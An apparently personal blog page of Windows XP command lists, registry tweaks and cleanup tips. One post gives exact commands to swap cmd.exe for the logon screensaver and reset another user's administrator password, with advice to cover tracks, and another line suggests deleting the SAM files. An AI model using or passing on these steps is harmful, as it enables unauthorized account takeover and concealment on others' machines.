Here's the ultimate Windows XP/2000 command list that will make any Linux user feel at home at the command prompt. A lot of these commands are intended for administrating a network, but they are great for savvy home users as well. We even listed which OS you need for these commands.
* at (windows XP/2000)
Scheduling utility.
* bootcfg (XP only)
This utility allows you to set up your boot options, such as your default OS and other loading options.
* cacls (XP, 2000, & NT4.0)
Changes the ACLs (security Settings) of files and folders. Very similar to chmod in Linux.
* comp (XP & 2000)
This utility is very similar to diff in Linux. Use the /? switch to get examples of command usage.
* contig (works with NT4.0 and newer)
A great defrag utility for NTFS partitions.
* control (XP only) - unpublished!
Allows you to launch control panel applets from the command line.
* control userpasswords2, for example will launch a helpful local user admin utility. defrag (XP only - NT4.0 and Win2k use contig)
Yes, XP comes with a command line disk defrag utility. If you are running Win2k or NT4.0 there is still hope. Contig is a free defrag program that I describe on the defrag page.
* diskpart (XP only)
Use this command to manage your disk partitions. This is the text version for the GUI Disk Manager.
* driverquery (XP only)
Produces a list of drivers, their properties, and their versions. Great for computer documentation.
* eudcedit (XP only) -
unpublished!
* Private Character editor. Yes with this program built into Windows XP you can create your own font! findstr
Find String - similar to Linux's Grep.
* fsutil (XP only) - unpublished!
This is a utility with a lot of capability. Come back soon for great examples.
* getmac (XP & 2000)
This command gets the Media Access Control (MAC) address of your network cards.
* gpresult (XP & 2000)
This generates a summary of the user settings and computer group policy settings.
* gpupdate (XP only)
Use this utility to manually apply computer and user policy from your windows 2000 (or newer) domain.
* ipconfig (XP, 2000 & NT4.0)
This handy tool displays IP settings of the current computer and much more.
* MMC (XP, 2000 & NT4.0) - Microsoft Management Console
This is the master tool for Windows, it is the main interface in which all other tools use starting primarily in Windows 2000 and newer systems.
* more
Utility used to display text output one screen at a time. Ex. more c:\windows\win.ini
* msconfig (XP only)
The ultimate tool to change the services and utilities that start when your Windows machine boots up. You can also copy the executable from XP and use it in Win2k.
* msinfo32 (XP &smp; 2000)
An awesome diagnostic tool. With it you can get a list of running processes, including the residing path of the executable (great for manually removing malware) and get detailed information about hardware and system diagnostics.
* narrator (XP only)
Turns on the system narrator (can also be found in accessibility options in control panel). Will will allow your computer to dictate text to you.
* netsh (XP & 2000)
A network configuration tool console. At the 'netsh>' prompt, use the '?' to list the available commands and type "exit" to get back to a command prompt.
* netstat (XP)
A local network port tool - try netstat -ano.
* nslookup (all)
A DNS name resolution tool.
* openfiles (XP Only)
Allows an administrator to display or disconnect open files in XP professional. Type "openfiles /?" for a list of possible parameters.
* Pathping (XP & 2000)
A cross between the ping and traceroute utilities. Who needs Neotrace when you can use this? Type "pathping
* recover (XP & 2000)
This command can recover readable information from a damaged disk and is very easy to use.
* reg (XP & 2000)
A console registry tool, great for scripting Registry edits.
* sc (XP & 2000)
A command line utility called the Service Controller. A power tool to make service changes via a logon/logoff or startup/shutdown script.
* schtasks (XP only)
A newer version of the AT command. This allows an administrator to schedule and manage scheduled tasks on a local and remote machines.
* secedit (XP & 2000)
Use this utility to manually apply computer and user policy from your windows 2000 (or newer) domain. Example to update the machine policy: secedit /refreshpolicy machine_policy /enforce
To view help on this, just type secedit.
NOTE: In Windows XP SP1 and news, this command is superceded by: gpupdate /force
* sfc (XP & 2000)
The system file checker scans important system files and replaces the ones you (or your applications) hacked beyond repair with the real, official Microsoft versions.
* shutdown (XP & 2000)
With this tool, You can shut down or restart your own computer, or an administrator can shut down or restart a remote computer.
* sigverif (XP only)
Microsoft has created driver signatures. A signed driver is Microsoft tested and approved. With the sigverif tool you can have all driver files analyzed to verify that they are digitally signed. Just type 'sigverif' at the command prompt.
* systeminfo (XP only)
Basic system configuration information, such as the system type, the processor type, time zone, virtual memory settings, system uptime, and much more. This program is great for creating an inventory of computers on your network.
* sysedit (XP/2000)
System Configuration File Editor. An old tool that was very handy for the Windows 9X days. msconfig is what you want to use now.
* tasklist (XP pro only)
Tasklist is the command console equivalent to the task manager in windows. It is a must have when fighting scumware and viruses. Try the command:
tasklist /svc
to view the memory resources your services take up.
* taskkill (XP only)
Taskkill contains the rest of the task manager functionality. It allows you to kill those unneeded or locked up applications.
* tree (XP & 2000)
An amazing experience everyone should try! This command will provide a 'family tree' style display of the drive/folder you specify.
* WMIC (XP & 2000)
Windows Management Instrumentation Command tool. This allows you to pull an amazing amount of low-level system information from a command line scripting interface.
Of course this list in note exhaustive. We wanted to focus on tools that are particularly helpful that everyone would use. For the official list, please visit:
Microsoft Windows XP Pro Command Reference
If you think these commands were handy, check out our list of helpful Windows Shortcut Keys.
About Me
- Padambharti
- Knowledge seeker..... Like to share knowledge..... World is very small....... Always Keep smiling....
Categories
- ASP (1)
- Draft (10)
- Java Script (1)
- Linux Tips (2)
- Property Deals (1)
- Software Downloads (1)
- Virus Solution (1)
- Windows Tips (17)
Thursday, March 4, 2010
Advance MS Windows commands
Posted by Padambharti at 4:10 PM 0 comments
Labels: Windows Tips
Tuesday, December 29, 2009
How to hack windows XP admin password
How to hack windows XP admin password
If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.
Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
Registry Hacking
Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"
Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"
No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"
Menu Delays:
Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.
GPEDIT.MSC And Autoplay
A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.
Increasing options in add/remove programs:
Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:
[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7
This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
To this:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7
Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".
Automatically Kill Programs At Shutdown:
don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.
Speeding Up Share Viewing:
This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!
Create a Shortcut to Lock Your Computer
Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.
Speed up Internet Explorer 6 Favorites
For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.
Aspi
WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.
Another way ...
Boot from win98 cd, delete the SAM, SAM.SAV, SAM.LOg files ( in sytem32/config folder ). Note: don't delete SAM.exe.
Posted by Padambharti at 11:01 AM 0 comments
Labels: Windows Tips
Wednesday, September 9, 2009
Increase performance of windows XP
Tips on cleaning up your computer: Windows Xp
How to cut off the System Restore.
Right click My Computer.
Click on Properties.
Click on System Restore Tab.
Put a check beside of Turn off System Restore.
Click Apply and OK.
How to clear out the Internet Files.
First right click on the Internet Explorer Icon, then click on properties.
Now click on Delete cookies then OK.
Now click on Delete files, now put a check in Delete all offline content. Now click OK.
Now click on Clear History, then yes.
Now click ok to close out the Internet Properties.
How to clear out the TEMP folder.
Double left click on My Computer.
Double left click on "C" drive.
Now go to "tools" and select Folder options.
Now click on View and select "show hidden files and folders" under the folder Hidden Files and Folders.
Click apply and then OK.
Double left click on the Documents and Settings folder.
Double left click on the main User's Folder. (example: John Doe)
Double left click on the Local Settings folder.
Double left click on the TEMP folder.
Now go to Edit, then select all and click on the delete button on the main toolbar.
You should not delete any files newer than 3 days.
If you don't have a delete button on the toolbar then go to File and then Delete.
Click on yes when asked if you want to send the items to the recycle bin.
How to clear out the Prefetch Folder.
Double left click My Computer.
Double left click on "C" drive.
Double left click on the Windows folder.
Double left click on the Prefetch folder.
Now click on Edit, then Select all.
Now click on delete or go to "File" then Delete.
I would do this about once a month.
Be sure to run Scandisk and Defrag REGULARLY ! Run Scandisk First.
To run a ScanDisk on XP....
Double left Click My Computer.
Right click on "C" Drive.
Click Properties.
Click Tools.
To do a Scandisk Click check now.
Put a check in both boxes "Automatically Fix File System Errors" and "Scan for and attempt Recovery of Bad Sectors".
Then click Start.
Now when asked "Do you want to Schedule this Disk Check to occur the next time you Restart the Computer",
Click Yes.
Now Restart your Computer.
Also be sure to empty the Recycle Bin !
Defrag
Double left Click My Computer.
Right click on "C" Drive.
Click Properties.
Click Tools.
Click on Defragment Now
Click on Defragment
After Following All the Above, Turn System Restore Back On.
Right click My Computer.
Click on Properties.
Click on System Restore Tab.
Remove the check beside of Turn off System Restore.
Click Apply and OK.
Tips on cleaning up your computer: Remove Adware & Spyware
Spyware is software that sends information from the user's computer without their knowledge whenever the computer connects to the Internet. Usually the information sent is benign in nature, mostly concerned with general marketing information (ie., spending habits) rather than specific information like credit card numbers, although some programs are capable of retrieving specific information as well. The problem with Spyware lies in the fact that this information is transmitted without informed consent. Additionally, Spyware programs are sometimes poorly written, containing bugs and causing the computer to malfunction. Spyware does not respect your privacy. If you are bothered with this, then removing adware from your computer might be a consideration. Click HERE to be taken to the Link.
Auto Delete Temporary Folder (XP Pro)
First go to Start, then run and type in gpedit.msc
Next select -> Computer Configuration/Administrative Templates/Windows Components/Terminal Services/Temporary Folder. Then right click "Do Not Delete Temp Folder Upon Exit" Go to properties and hit disable. Now next time Windows puts a temp file in that folder it will automatically delete it when its done! Remember, GPEDIT (Group Policy Editor) is only available in XP Pro.
How to remove all the System Restore points except the recent one?
All the System Restore points can be cleared by disabling and enabling the System Restore option. However, Windows XP provides an option to clear all the System Restore points except the very recently created point. This can be accomplished through the Disk Cleanup Utility in XP.
Click Start, Run and type CLEANMGR and press Enter.
Select the hard disk partition and press OK.
At the top of the dialog, click the tab More Options.
Under System Restore section, click the button "Clean up..."
Now, all the System Restore points (except the recent one) are cleared and more hard disk space will be free.
Remove Deleted Programs from the Uninstall List
If you deleted a program instead of uninstalling it, most likely the program will still be listed in the windows uninstall list. Follow the directions below to remove programs from list manually.
1. Click on Start then Run and type regedit.
2. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall.
3. Delete the folder of the program.
Also See "How to Manually Remove Programs from the Add or Remove Programs Tool"
A Better Windows XP Disk Cleanup Tool
These instructions will show you how to create an unattended disk cleanup which will also empty your prefetch folder providing Windows XP is installed in c:\windows.
1. Create a new text file and place the following contents inside:
c:\windows\system32\cleanmgr.exe /dc /sageset: 1
c:
cd \
cd c:\windows\prefetch
del *.* /q
2. Save the file, changing the extension from .txt to .bat
Now name it diskclean.bat
3. Execute the file. This will run the Disk Cleanup program in a special mode which asks what items you will want cleaned when Disk Cleanup performs an unattended cleanup. Check the items you wish to have cleaned up, then click OK.
4. Right-click on the diskclean.bat file and click edit. Change the first line to read:
c:\windows\system32\cleanmgr.exe /dc /sagerun: 1
5. Save the file. You can execute this file in place of running Disk Cleanup, or, to have this program run unattended, run the Add Scheduled Task Wizard in the Control Panel and create a scheduled task using the clean.bat file you just created.
To download one already made click HERE.
Save to your Desktop and then follow the instructions at #3.
Posted by Padambharti at 12:34 PM 0 comments
Labels: Windows Tips
Sunday, August 23, 2009
Windows Hacks, Tips and Tricks
Windows Hacks, Tips and Tricks
TAGS: windows, xp, microsoft, ie
I have some secret Windows tips and tricks here. Many are problems which you may encounter, but for which Windows does not provide a readymade solution.
Registry
Display a banner each time Windows boots
1.Start -> Run
2.Type regedit
3.Go to the key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon
4.Create a new string value in the right pane named LegalNoticeCaption and enter the value that you want to see in the menubar
5.Create a new string value and name it LegalNoticeText. Modify it and insert the message you want to display each time Windows boots.
Windows
Shutting down Windows the fastest way
1.Start -> Run
2.Type rundll.exe user.exe,exitwindows
Internet Explorer
Your browser logo shows something other than the IE logo. Maybe you have installed your ISP software and you have a different logo on the top right. How do you remove it?
1.Close all browser windows
2.Start -> Run
3.Type RunDLL32.EXE IEdkcs32.dll,Clear
4.Click on OK, and start Internet Explorer. You should find the old spinning IE logo.
Posted by Padambharti at 1:53 PM 0 comments
Labels: Windows Tips